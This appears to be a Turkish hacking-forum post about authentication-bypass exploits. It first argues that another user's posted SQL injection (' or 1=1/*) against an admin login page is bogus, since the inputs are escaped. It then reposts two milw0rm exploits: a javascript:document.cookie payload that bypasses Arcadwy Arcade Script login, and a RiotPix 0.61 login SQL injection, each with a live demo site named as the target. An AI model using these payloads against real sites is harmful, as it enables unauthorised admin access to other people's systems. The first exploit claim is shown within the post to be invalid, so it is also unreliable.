koyma açık, açık olmaz ;)

şimdi birazcık inj3ct0r.com da geziniyim dedim oda nesi biri acık yayınlamıs acığın sonuna da bypassı eklemiş ;) author vermiyorum darılmaca olmasın diye ;)

Vulnerable File in admin/giris.php
###################################################
################### Error Line'z ####################
$sorgu=mysql_query("select * from yonetim where isim='$isim' and sifre='$sifre'");
###################################################

Inject to giris.php
Exploitiez

id : ' or 1=1/*
pw : ' or 1=1/*

oldumu babacan demedin mi biri indirir scripti :S a.q adam engellemiş scripte bypassı boş bug göndermeyin inceleyin iyice :S sadece sorguya bakarak acık mevcut diyemezsin ki :S bak bakalım line 61 den aşağısına

//line 61
$isim=$_POST['isim'];
$sifre=$_POST['sifre'];
$isim=htmlspecialchars(mysql_real_escape_string($isim));
$sifre=htmlspecialchars(mysql_real_escape_string($sifre));

adam paşalar gibi önlemini almıs :S

sırf asağıda ki sorgudan yola cıkamazsın

//line 73
$sorgu=mysql_query("select * from yonetim where isim='$isim' and sifre='$sifre'");
$sayi=mysql_num_rows($sorgu);

ne biliyim a.q nerdesin str0ke :S

Arcadwy Arcade Script (Auth Bypass) Insecure Cookie Handling Vuln

Kaynak: http://www.milw0rm.com/exploits/8304

Discovered By: ZoRLu

Demo:

http://games.arcadwy.com/

Exploit:

javascript:document.cookie = "user=[admin_id],' or ' 1=1--; path=/";

Exploit for demo:

javascript:document.cookie = "user=1,' or ' 1=1--; path=/";

RiotPix <= 0.61 (Auth Bypass) SQL Injection Vulnerability

RiotPix <= 0.61 (Auth Bypass) SQL Injection Vulnerability

link: http://www.milw0rm.com/exploits/7682

Discovered By: ZoRLu

for demo:

username: logoz ' or '

pass: dont write anything

http://www.riotpix.com/board/